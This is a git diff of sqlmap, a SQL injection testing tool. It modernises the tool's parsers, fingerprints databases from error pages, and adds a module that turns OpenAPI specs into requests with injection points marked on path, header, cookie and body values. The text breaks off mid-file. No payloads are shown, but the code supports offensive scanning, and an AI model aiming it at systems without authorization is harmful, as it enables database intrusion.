re.match(r"\A[A-Za-z0-9]+", self._regexp) # minor trick avoiding compiling of large amount of regexes - if _ and _.group(0).lower() in self._banner.lower() or not _: + if _ and self._banner and _.group(0).lower() in self._banner.lower() or not _: self._match = re.search(self._regexp, self._banner, re.I | re.M) else: self._match = None @@ -61,10 +62,10 @@ def startElement(self, name, attrs): self._techVersion = sanitizeStr(attrs.get("tech_version")) self._sp = sanitizeStr(attrs.get("sp")) - if self._dbmsVersion.isdigit(): + if self._dbmsVersion and self._dbmsVersion.isdigit(): self._feedInfo("dbmsVersion", self._match.group(int(self._dbmsVersion))) - if self._techVersion.isdigit(): + if self._techVersion and self._techVersion.isdigit(): self._feedInfo("technology", "%s %s" % (attrs.get("technology"), self._match.group(int(self._techVersion)))) else: self._feedInfo("technology", attrs.get("technology")) diff --git a/lib/parse/headers.py b/lib/parse/headers.py index 4ca97779c8c..0bebf9db816 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -1,19 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import itertools import os from lib.core.common import parseXmlFile +from lib.core.common import singleTimeWarnMessage from lib.core.data import kb from lib.core.data import paths from lib.parse.handler import FingerprintHandler - def headersParser(headers): """ This function calls a class that parses the input HTTP headers to @@ -23,20 +22,20 @@ def headersParser(headers): if not kb.headerPaths: kb.headerPaths = { - "cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"), "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"), - "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"), - "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet.xml"), - "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"), - "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"), - "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"), + "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"), + "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"), + "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"), + "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"), + "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"), } - for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers): - value = headers[header] - xmlfile = kb.headerPaths[header] - - handler = FingerprintHandler(value, kb.headersFp) - - parseXmlFile(xmlfile, handler) - parseXmlFile(paths.GENERIC_XML, handler) + for header, xmlfile in kb.headerPaths.items(): + if header in headers: + handler = FingerprintHandler(headers[header], kb.headersFp) + try: + parseXmlFile(xmlfile, handler) + parseXmlFile(paths.GENERIC_XML, handler) + except Exception: + # best-effort header fingerprinting - a broken/patched xml.sax must not abort the scan (see #6086) + singleTimeWarnMessage("unable to parse the response headers for technology fingerprinting") diff --git a/lib/parse/html.py b/lib/parse/html.py index 3c40920e672..03e59953698 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -1,17 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re from xml.sax.handler import ContentHandler +from lib.core.common import singleTimeWarnMessage +from lib.core.common import urldecode from lib.core.common import parseXmlFile from lib.core.data import kb from lib.core.data import paths +from lib.core.settings import HEURISTIC_PAGE_SIZE_THRESHOLD from lib.core.threads import getCurrentThreadData class HTMLHandler(ContentHandler): @@ -24,7 +27,12 @@ def __init__(self, page): ContentHandler.__init__(self) self._dbms = None - self._page = page + self._page = (page or "") + self._urldecodedPage = urldecode(self._page) + try: + self._lowerPage = self._urldecodedPage.lower() # Note: keyword pre-filter must match the page that re.search() runs on (the URL-decoded one) + except SystemError: # https://bugs.python.org/issue18183 + self._lowerPage = None self.dbms = None @@ -33,24 +41,58 @@ def _markAsErrorPage(self): threadData.lastErrorPage = (threadData.lastRequestUID, self._page) def startElement(self, name, attrs): + if self.dbms: + return + if name == "dbms": self._dbms = attrs.get("value") elif name == "error": - if re.search(attrs.get("regexp"), self._page, re.I): + regexp = attrs.get("regexp") + if regexp not in kb.cache.regex: + keywords = re.findall(r"\w+", re.sub(r"\\.", " ", regexp)) + keywords = sorted(keywords, key=len) + kb.cache.regex[regexp] = keywords[-1].lower() + + if ('|' in regexp or kb.cache.regex[regexp] in (self._lowerPage or kb.cache.regex[regexp])) and re.search(regexp, self._urldecodedPage, re.I): self.dbms = self._dbms self._markAsErrorPage() + kb.forkNote = kb.forkNote or attrs.get("fork") def htmlParser(page): """ This function calls a class that parses the input HTML page to fingerprint the back-end database management system + + >>> from lib.core.enums import DBMS + >>> htmlParser("Warning: mysql_fetch_array() expects parameter 1 to be resource") == DBMS.MYSQL + True + >>> threadData = getCurrentThreadData() + >>> threadData.lastErrorPage = None """ + page = page[:HEURISTIC_PAGE_SIZE_THRESHOLD] + xmlfile = paths.ERRORS_XML handler = HTMLHandler(page) + key = hash(page) + + # generic SQL warning/error messages + if re.search(r"SQL (warning|error|syntax)", page, re.I): + handler._markAsErrorPage() + + if key in kb.cache.parsedDbms: + retVal = kb.cache.parsedDbms[key] + if retVal: + handler._markAsErrorPage() + return retVal - parseXmlFile(xmlfile, handler) + try: + parseXmlFile(xmlfile, handler) + except Exception: + # DBMS fingerprinting from the error page is best-effort - a broken or third-party-patched + # xml.sax (e.g. a modified stdlib on some distros) must not abort the whole scan (see #6086) + singleTimeWarnMessage("unable to parse the response page for DBMS-specific error messages") if handler.dbms and handler.dbms not in kb.htmlFp: kb.lastParserStatus = handler.dbms @@ -58,8 +100,6 @@ def htmlParser(page): else: kb.lastParserStatus = None - # generic SQL warning/error messages - if re.search(r"SQL (warning|error|syntax)", page, re.I): - handler._markAsErrorPage() + kb.cache.parsedDbms[key] = handler.dbms return handler.dbms diff --git a/lib/parse/openapi.py b/lib/parse/openapi.py new file mode 100644 index 00000000000..05054208c06 --- /dev/null +++ b/lib/parse/openapi.py @@ -0,0 +1,366 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import json +import re + +from lib.core.common import getSafeExString +from lib.core.data import logger +from lib.core.enums import HTTP_HEADER +from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from thirdparty import six +from thirdparty.six.moves.urllib.parse import quote as _quote + +try: + import yaml # optional (only needed for YAML specs) +except ImportError: + yaml = None + +# Best-effort extraction of concrete request targets from an OpenAPI (v3) / Swagger (v2) document. The +# document is treated as a request generator, NOT a contract to validate: for every operation a single +# concrete request is synthesized (base URL + filled path + example query/body from the schema) and any +# operation that cannot be built is skipped with a warning, so a loose/incomplete spec degrades gracefully. + +MAX_REF_DEPTH = 25 + +def _loadSpec(content): + try: + return json.loads(content) + except ValueError: + if yaml is None: + errMsg = "the provided OpenAPI/Swagger specification is not JSON and the optional " + errMsg += "'pyyaml' module (needed for YAML specifications) is not available" + raise ValueError(errMsg) + try: + return yaml.safe_load(content) + except Exception as ex: + raise ValueError("not valid JSON nor YAML (%s)" % getSafeExString(ex)) + +def _resolve(spec, node, seen=None, depth=0): + seen = seen or set() + if isinstance(node, dict) and "$ref" in node: + ref = node["$ref"] + if not isinstance(ref, six.string_types): # malformed '$ref' (non-string) -> treat as no ref + return {} + if ref in seen or depth > MAX_REF_DEPTH: + return {} + if not ref.startswith("#/"): + logger.warning("skipping external OpenAPI $ref '%s'" % ref) + return {} + seen = seen | set([ref]) + current = spec + for part in ref[2:].split('/'): + part = part.replace("~1", "/").replace("~0", "~") + if not isinstance(current, dict) or part not in current: + logger.warning("skipping dangling OpenAPI $ref '%s'" % ref) + return {} + current = current[part] + return _resolve(spec, current, seen, depth + 1) + return node + +EXAMPLE_MAX_DEPTH = 8 # request examples do not need deep nesting; caps runaway synthesis on large specs + +def _example(spec, schema, seen=None, depth=0, cache=None): + # 'cache' memoizes the synthesized example per $ref across the whole run - big real-world specs + # (Stripe/GitHub/k8s) reuse the same large schemas across thousands of operations, so without this + # the extraction is exponential. 'depth' caps recursion for deeply nested / self-referential schemas. + seen = seen or set() + if cache is None: + cache = {} + if depth > EXAMPLE_MAX_DEPTH: + return "1" + ref = schema.get("$ref") if isinstance(schema, dict) else None + if not isinstance(ref, six.string_types): # only a string $ref is a valid (hashable) cache key + ref = None + if ref is not None and ref in cache: + return cache[ref] + + schema = _resolve(spec, schema or {}, seen, depth) + if not isinstance(schema, dict): + return "1" + + value = None + if "example" in schema: + value = schema["example"] + elif "const" in schema: # JSON Schema 2020-12 (OpenAPI 3.1) + value = schema["const"] + elif "default" in schema: + value = schema["default"] + elif isinstance(schema.get("examples"), list) and schema["examples"]: + value = schema["examples"][0] + elif isinstance(schema.get("enum"), list) and schema["enum"]: + value = schema["enum"][0] + else: + combinator = next((_ for _ in ("allOf", "oneOf", "anyOf") if schema.get(_)), None) + if combinator: + if combinator == "allOf": + merged = {} + for sub in schema[combinator]: + part = _example(spec, sub, seen, depth + 1, cache) + if isinstance(part, dict): + merged.update(part) + value = merged if merged else _example(spec, schema[combinator][0], seen, depth + 1, cache) + else: + value = _example(spec, schema[combinator][0], seen, depth + 1, cache) + else: + _type = schema.get("type") + if isinstance(_type, list): # OpenAPI 3.1 allows a list of types (e.g. ["string", "null"]) + _type = next((_ for _ in _type if _ != "null"), None) + if _type == "object" or ("properties" in schema and not _type): + properties = schema.get("properties") + value = dict((name, _example(spec, sub, seen, depth + 1, cache)) for name, sub in (properties if isinstance(properties, dict) else {}).items()) + elif _type == "array": + value = [_example(spec, schema.get("items") or {}, seen, depth + 1, cache)] + elif _type in ("integer", "number"): + value = 1 + elif _type == "boolean": + value = True + elif _type == "string": + formats = {"uuid": "11111111-1111-1111-1111-111111111111", "date": "2020-01-01", "date-time": "2020-01-01T00:00:00Z", "email": "a@b.co", "byte": "MQ=="} + value = formats.get(schema.get("format"), "1") + else: + value = "1" + + if ref is not None: + cache[ref] = value + return value + +def _scalar(value): + if isinstance(value, bool): + return "true" if value else "false" + if isinstance(value, (int, float)): + return str(value) + if isinstance(value, six.string_types): + return value + try: + return json.dumps(value) + except TypeError: # e.g. datetime.date from a YAML 'example: 2020-01-01' + return str(value) + +_NO_EXAMPLE = object() + +def _explicitExample(spec, container): + # a concrete 'example'/'examples' declared on a parameter or media-type object - preferred over a + # schema-synthesized value (real specs carry the canonical, validation-passing sample here). 'examples' + # is a map of name -> {"value": ...} (each entry possibly a $ref). + if not isinstance(container, dict): + return _NO_EXAMPLE + if container.get("example") is not None: # 'null' -> treat as absent, fall back to schema synthesis + return container["example"] + examples = container.get("examples") + if isinstance(examples, dict) and examples: + first = _resolve(spec, next(iter(examples.values()))) + if isinstance(first, dict) and first.get("value") is not None: + return first["value"] + return _NO_EXAMPLE + +def _noMark(text): + # strip any custom injection mark already present in a synthesized value so only the intentionally + # appended mark (if any) survives (avoids a stray/second injection point) + return text.replace(CUSTOM_INJECTION_MARK_CHAR, "") + +def _headerClean(text): + # remove characters that can not legally appear in an HTTP header name/value (CR, LF, NUL and other + # C0 controls) so a spec-supplied header can not inject extra headers or corrupt the request line + return re.sub(r"[\x00-\x1f\x7f]", "", text) + +_HEADER_NAME_RE = re.compile(r"\A[!#$%&'*+.^_`|~0-9A-Za-z-]+\Z") # RFC 7230 header field-name token (no spaces / ':' / separators) + +def _urlSafe(value, safe=""): + # percent-encode a synthesized value/name so it can not break the URL/body structure (spaces, '&', + # '=', '/', '?', '#', ...); py2/py3-safe (py2 urllib.quote needs bytes for non-ASCII). 'safe' keeps + # selected chars unescaped (e.g. "[]" for deep-object parameter names like filter[status]). + try: + return _quote(value.encode("utf-8") if isinstance(value, six.text_type) else str(value), safe=safe) + except Exception: + return value + +def _baseUrl(spec, origin=None, servers=None): + # defensive throughout: a hostile/loose spec must not crash here (this runs outside the per-operation + # try/except, so an exception would abort the whole extraction). 'servers' overrides the spec-level + # 'servers' (used for per-path / per-operation 'servers'). + basePath = spec.get("basePath") if isinstance(spec.get("basePath"), six.string_types) else "" + if basePath and not basePath.startswith("/"): # Swagger v2 basePath is a path -> ensure it is slash-prefixed + basePath = "/" + basePath + servers = servers if servers is not None else spec.get("servers") + if isinstance(servers, list) and servers and isinstance(servers[0], dict): + url = servers[0].get("url") + url = url if isinstance(url, six.string_types) else "" + variables = servers[0].get("variables") + if isinstance(variables, dict): + for name, meta in variables.items(): + default = meta.get("default", "1") if isinstance(meta, dict) else "1" + url = url.replace("{%s}" % name, str(default)) + if re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # absolute server URL -> used as declared (the host is NOT rewritten to the spec's own origin) + return url.rstrip('/') + return ((origin.rstrip('/') if origin else "") + "/" + url.lstrip('/')).rstrip('/') # relative server URL -> resolved against origin + if spec.get("host"): # Swagger v2 with an explicit host + schemes = spec.get("schemes") + scheme = schemes[0] if isinstance(schemes, list) and schemes else "https" + return "%s://%s%s" % (scheme, spec["host"], basePath.rstrip('/')) + return (origin.rstrip('/') if origin else "") + basePath.rstrip('/') # no servers/host -> spec's own origin + +_METHODS = ("get", "post", "put", "delete", "patch", "options", "head") + +def openApiTargets(content, origin=None, tags=None): + """ + Returns a list of (url, method, data, headers) request tuples derived from an OpenAPI/Swagger + specification. 'headers' is a list of (name, value) tuples (matching conf.httpHeaders). 'origin' + (scheme://host[:port] of the specification's own location) is used only to resolve RELATIVE 'servers' + entries - absolute server URLs are used as declared. Path parameters and header/cookie values carry + the custom injection mark so they become testable injection points. 'tags' (list) restricts extraction + to operations declaring at least one of those OpenAPI tags (to scope a scan of a large API). + """ + + tagSet = set(tags) if tags else None + + spec = _loadSpec(content) + if not isinstance(spec, dict) or not isinstance(spec.get("paths"), dict) or not spec.get("paths"): + errMsg = "no valid 'paths' object found in the provided OpenAPI/Swagger specification" + raise ValueError(errMsg) + + try: + rootBase = _baseUrl(spec, origin) + except Exception: # never let base-URL synthesis abort the whole run + rootBase = origin.rstrip('/') if isinstance(origin, six.string_types) else "" + isV2 = "swagger" in spec and "openapi" not in spec + retVal = [] + cache = {} # $ref -> synthesized example, shared across all operations (large specs reuse schemas) + + for path, item in (spec.get("paths") or {}).items(): + item = _resolve(spec, item) # a Path Item object may itself be a $ref + if not isinstance(item, dict): + continue + shared = item.get("parameters") or [] # 'or []': a present-but-null 'parameters' must not break concatenation + for method, operation in item.items(): + if str(method).lower() not in _METHODS or not isinstance(operation, dict): # str(): YAML keys can be non-string (e.g. 404, 'on'->bool) + continue + if tagSet is not None and not (tagSet & set(_ for _ in (operation.get("tags") or []) if isinstance(_, six.string_types))): + continue # '--openapi-tags' filter: operation carries none of the requested tags + try: + # effective base URL with OpenAPI precedence: operation 'servers' > path-item 'servers' > root + opServers = operation.get("servers") or item.get("servers") + base = rootBase + if opServers: + try: + base = _baseUrl(spec, origin, opServers) + except Exception: + base = rootBase + + # merge path-level + operation-level parameters, de-duplicated by (in, name); operation wins + params, seen = [], {} + for raw in ((shared if isinstance(shared, list) else []) + (operation.get("parameters") or [])): + resolved = _resolve(spec, raw) + if isinstance(resolved, dict) and resolved.get("name"): + key = (resolved.get("in"), resolved.get("name")) + if key in seen: + params[seen[key]] = resolved + continue + seen[key] = len(params) + params.append(resolved) + + urlPath = path if isinstance(path, six.string_types) else str(path) + query, headers, form, cookies = [], [], [], [] + + for param in params: + if not isinstance(param, dict): + continue + location, name = param.get("in"), param.get("name") + if not name: + continue + if not isinstance(name, six.string_types): # YAML can yield a non-string param name (e.g. 5) + name = str(name) + explicit = _explicitExample(spec, param) # parameter-level example/examples wins over schema synthesis + if explicit is not _NO_EXAMPLE: + value = _scalar(explicit) + else: + schema = param.get("schema") or {"type": param.get("type", "string")} + value = _scalar(_example(spec, schema, cache=cache)) + if location == "path": + # mark the filled path segment as a (custom) URI injection point - path parameters are + # prime REST injection targets; the value is encoded first so its own chars add no mark + urlPath = urlPath.replace("{%s}" % name, _urlSafe(value) + CUSTOM_INJECTION_MARK_CHAR) + elif location == "query": + # best-effort: array/object query params are scalarized (single value), NOT expanded per + # OpenAPI style/explode (repeated keys, comma/space/pipe delimited, deepObject) - the goal + # is one testable request per operation, not faithful serialization + query.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value))) + elif location == "header": + # append the custom injection mark so the header value becomes a testable (custom) + # injection point (non-exclusive: query/body params are still auto-tested); skip names + # that are not valid HTTP field-name tokens + headerName = _headerClean(name) + if headerName and _HEADER_NAME_RE.match(headerName): + headers.append((headerName, "%s%s" % (_headerClean(_noMark(value)), CUSTOM_INJECTION_MARK_CHAR))) + elif location == "cookie": + # a cookie name is a token; the value must not contain cookie-structure chars ('; ,' + # and whitespace) or a spec could smuggle extra cookie pairs + cookieName = _headerClean(name) + if cookieName and _HEADER_NAME_RE.match(cookieName): + cookieValue = re.sub(r"[;,\s]", "", _headerClean(_noMark(value))) + cookies.append("%s=%s%s" % (cookieName, cookieValue, CUSTOM_INJECTION_MARK_CHAR)) + elif location == "formData": # Swagger v2 in:"formData" -> urlencoded body field + form.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value))) + + if cookies: # aggregate all cookie params into a single Cookie header + headers.append((HTTP_HEADER.COOKIE, "; ".join(cookies))) + + urlPath = urlPath.replace(" ", "%20").replace("?", "%3F").replace("#", "%23") # keep a literal path key from breaking the URL (filled values are already encoded) + if urlPath and not urlPath.startswith("/"): # OpenAPI path keys start with '/'; harden a loose spec so base+path is not glued (/v1pets) + urlPath = "/" + urlPath + + url = base + urlPath + if query: + url += "?" + "&".join(query) + + url = re.sub(r"\{[^}]+\}", "1", url) # any leftover template var (undefined path OR server variable) -> "1" + + if not re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # no scheme/host -> unscannable relative URL + logger.warning("skipping OpenAPI operation '%s %s' (unable to resolve an absolute target URL; provide the specification by URL or add a 'servers'/'host' entry)" % (str(method).upper(), path)) + continue + + data = None + body = _resolve(spec, operation.get("requestBody") or {}) + content_ = body.get("content") if isinstance(body, dict) else None + if isinstance(content_, dict) and content_: + mediaTypes = [_ for _ in content_ if isinstance(_, six.string_types)] # media-type keys must be strings + picked = next((_ for _ in mediaTypes if _ == "application/json" or _.endswith("+json") or "json" in _), None) \ + or ("application/x-www-form-urlencoded" if "application/x-www-form-urlencoded" in mediaTypes else None) \ + or (mediaTypes[0] if mediaTypes else None) + if picked: + mediaType = content_[picked] if isinstance(content_[picked], dict) else {} + example = _explicitExample(spec, mediaType) # media-type-level example/examples wins over schema synthesis + if example is _NO_EXAMPLE: + example = _example(spec, mediaType.get("schema") or {}, cache=cache) + if "json" in picked: + data = _noMark(json.dumps(example, default=str)) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json")) + elif picked == "application/x-www-form-urlencoded" and isinstance(example, dict): + data = "&".join("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(_scalar(value))) for name, value in example.items()) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded")) + elif isinstance(example, six.string_types): + # raw (text / xml / ...) body -> mark it so the whole body becomes a testable point + data = _noMark(example) + CUSTOM_INJECTION_MARK_CHAR + headers.append((HTTP_HEADER.CONTENT_TYPE, picked)) + else: # e.g. multipart/form-data or a structured non-JSON body (no safe serialization) + logger.debug("not synthesizing a '%s' request body for '%s %s'" % (picked, str(method).upper(), path)) + elif isinstance(operation.get("parameters"), list) or isV2: + for param in params: # Swagger v2 in:"body" + if isinstance(param, dict) and param.get("in") == "body": + example = _example(spec, param.get("schema") or {}, cache=cache) + data = _noMark(json.dumps(example, default=str)) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json")) + + if data is None and form: # Swagger v2 in:"formData" fields -> urlencoded body + data = "&".join(form) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded")) + + retVal.append((url, str(method).upper(), data, headers or None)) + except Exception as ex: + logger.warning("skipping OpenAPI operation '%s %s' (%s)" % (str(method).upper(), path, getSafeExString(ex))) + + return retVal diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index a96867082ee..24ee83e1a6d 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -1,31 +1,38 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os +import re from xml.etree import ElementTree as et +from lib.core.common import getSafeExString +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import paths from lib.core.datatype import AttribDict from lib.core.exception import SqlmapInstallationException +from lib.core.settings import PAYLOAD_XML_FILES def cleanupVals(text, tag): + if tag == "clause" and '-' in text: + text = re.sub(r"(\d+)-(\d+)", lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)), text) + if tag in ("clause", "where"): text = text.split(',') - if isinstance(text, basestring): - text = int(text) if text.isdigit() else str(text) + if hasattr(text, "isdigit") and text.isdigit(): + text = int(text) elif isinstance(text, list): count = 0 for _ in text: - text[count] = int(_) if _.isdigit() else str(_) + text[count] = int(_) if _.isdigit() else _ count += 1 if len(text) == 1 and tag not in ("clause", "where"): @@ -34,10 +41,10 @@ def cleanupVals(text, tag): return text def parseXmlNode(node): - for element in node.getiterator('boundary'): + for element in node.findall("boundary"): boundary = AttribDict() - for child in element.getchildren(): + for child in element.findall("*"): if child.text: values = cleanupVals(child.text, child.tag) boundary[child.tag] = values @@ -46,21 +53,22 @@ def parseXmlNode(node): conf.boundaries.append(boundary) - for element in node.getiterator('test'): + for element in node.findall("test"): test = AttribDict() - for child in element.getchildren(): + for child in element.findall("*"): if child.text and child.text.strip(): values = cleanupVals(child.text, child.tag) test[child.tag] = values else: - if len(child.getchildren()) == 0: + progeny = child.findall("*") + if len(progeny) == 0: test[child.tag] = None continue else: test[child.tag] = AttribDict() - for gchild in child.getchildren(): + for gchild in progeny: if gchild.tag in test[child.tag]: prevtext = test[child.tag][gchild.tag] test[child.tag][gchild.tag] = [prevtext, gchild.text] @@ -70,31 +78,46 @@ def parseXmlNode(node): conf.tests.append(test) def loadBoundaries(): + """ + Loads boundaries from XML + + >>> conf.boundaries = [] + >>> loadBoundaries() + >>> len(conf.boundaries) > 0 + True + """ + try: doc = et.parse(paths.BOUNDARIES_XML) - except Exception, ex: - errMsg = "something seems to be wrong with " - errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, ex) + except Exception as ex: + errMsg = "something appears to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" - raise SqlmapInstallationException, errMsg + raise SqlmapInstallationException(errMsg) root = doc.getroot() parseXmlNode(root) def loadPayloads(): - payloadFiles = os.listdir(paths.SQLMAP_XML_PAYLOADS_PATH) - payloadFiles.sort() + """ + Loads payloads/tests from XML + + >>> conf.tests = [] + >>> loadPayloads() + >>> len(conf.tests) > 0 + True + """ - for payloadFile in payloadFiles: + for payloadFile in PAYLOAD_XML_FILES: payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile) try: doc = et.parse(payloadFilePath) - except Exception, ex: - errMsg = "something seems to be wrong with " - errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, ex) + except Exception as ex: + errMsg = "something appears to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" - raise SqlmapInstallationException, errMsg + raise SqlmapInstallationException(errMsg) root = doc.getroot() parseXmlNode(root) diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index 009a634505d..1192dcb6798 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -1,23 +1,30 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import httplib import re from lib.core.common import readInput +from lib.core.convert import htmlUnescape from lib.core.data import kb from lib.core.data import logger +from lib.core.datatype import OrderedSet from lib.core.exception import SqlmapSyntaxException +from lib.core.settings import MAX_SITEMAP_FETCHES +from lib.core.settings import MAX_SITEMAP_URLS from lib.request.connect import Connect as Request -from thirdparty.oset.pyoset import oset +from thirdparty.six.moves import http_client as _http_client abortedFlag = None -def parseSitemap(url, retVal=None): +def parseSitemap(url, retVal=None, visited=None, urlFilter=None): + """Parse a sitemap (recursively following nested sitemap indexes). 'urlFilter' - when given - must + return True for a URL to be fetched or kept; it is enforced on the initial URL AND every nested + sitemap fetched recursively, so a hostile sitemap index cannot pull the crawler out of scope.""" + global abortedFlag if retVal is not None: @@ -26,32 +33,53 @@ def parseSitemap(url, retVal=None): try: if retVal is None: abortedFlag = False - retVal = oset() + retVal = OrderedSet() + visited = set() + + if url in visited or (urlFilter is not None and not urlFilter(url)): + return retVal + + visited.add(url) + + if len(visited) > MAX_SITEMAP_FETCHES or len(retVal) >= MAX_SITEMAP_URLS: # bound a hostile sitemap graph + if not abortedFlag: # warn once on the False->True transition + logger.warning("sitemap parsing stopped after reaching the fetch/URL limit. sqlmap will use partial list") + abortedFlag = True + return retVal try: content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" - except httplib.InvalidURL: + except _http_client.InvalidURL: errMsg = "invalid URL given for sitemap ('%s')" % url - raise SqlmapSyntaxException, errMsg - - for match in re.finditer(r"\s*([^<]+)", content or ""): - if abortedFlag: - break - url = match.group(1).strip() - if url.endswith(".xml") and "sitemap" in url.lower(): - if kb.followSitemapRecursion is None: - message = "sitemap recursion detected. Do you want to follow? [y/N] " - test = readInput(message, default="N") - kb.followSitemapRecursion = test[0] in ("y", "Y") - if kb.followSitemapRecursion: - parseSitemap(url, retVal) - else: - retVal.add(url) + raise SqlmapSyntaxException(errMsg) + + if content: + content = re.sub(r"", "", content, flags=re.DOTALL) # Note: strip (possibly multi-line) XML comments so commented-out entries aren't harvested + + for match in re.finditer(r"<\w*?loc[^>]*>\s*([^<]+)", content, re.I): + if abortedFlag or len(retVal) >= MAX_SITEMAP_URLS: + break + + foundUrl = htmlUnescape(match.group(1).strip()) + + # Basic validation to avoid junk + if not foundUrl.startswith("http"): + continue + + if foundUrl.endswith(".xml") and "sitemap" in foundUrl.lower(): + if kb.followSitemapRecursion is None: + message = "sitemap recursion detected. Do you want to follow? [y/N] " + kb.followSitemapRecursion = readInput(message, default='N', boolean=True) + + if kb.followSitemapRecursion: + parseSitemap(foundUrl, retVal, visited, urlFilter) + elif urlFilter is None or urlFilter(foundUrl): + retVal.add(foundUrl) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during sitemap parsing. sqlmap " warnMsg += "will use partial list" - logger.warn(warnMsg) + logger.warning(warnMsg) return retVal diff --git a/lib/request/__init__.py b/lib/request/__init__.py index 8d7bcd8f0a1..bcac841631b 100644 --- a/lib/request/__init__.py +++ b/lib/request/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/request/basic.py b/lib/request/basic.py old mode 100755 new mode 100644 index 1c88d327d4a..43dc19f8102 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -1,46 +1,75 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import codecs import gzip +import io import logging import re -import StringIO -import struct import zlib +from lib.utils import brotli as _brotli + +try: + from compression import zstd as _zstd # Python 3.14+ stdlib (PEP 784); no third-party dependency +except ImportError: + _zstd = None + +from lib.core.common import Backend from lib.core.common import extractErrorMessage from lib.core.common import extractRegexResult +from lib.core.common import filterNone from lib.core.common import getPublicTypeMembers -from lib.core.common import getUnicode +from lib.core.common import getSafeExString +from lib.core.common import isListLike +from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage +from lib.core.common import unArrayizeValue +from lib.core.convert import decodeHex +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.decorators import cachedmethod +from lib.core.decorators import lockedmethod +from lib.core.dicts import HTML_ENTITIES +from lib.core.enums import DBMS from lib.core.enums import HTTP_HEADER from lib.core.enums import PLACE from lib.core.exception import SqlmapCompressionException from lib.core.settings import BLOCKED_IP_REGEX from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import EVENTVALIDATION_REGEX +from lib.core.settings import HEURISTIC_PAGE_SIZE_THRESHOLD +from lib.core.settings import IDENTYWAF_PARSE_COUNT_LIMIT +from lib.core.settings import IDENTYWAF_PARSE_PAGE_LIMIT from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import 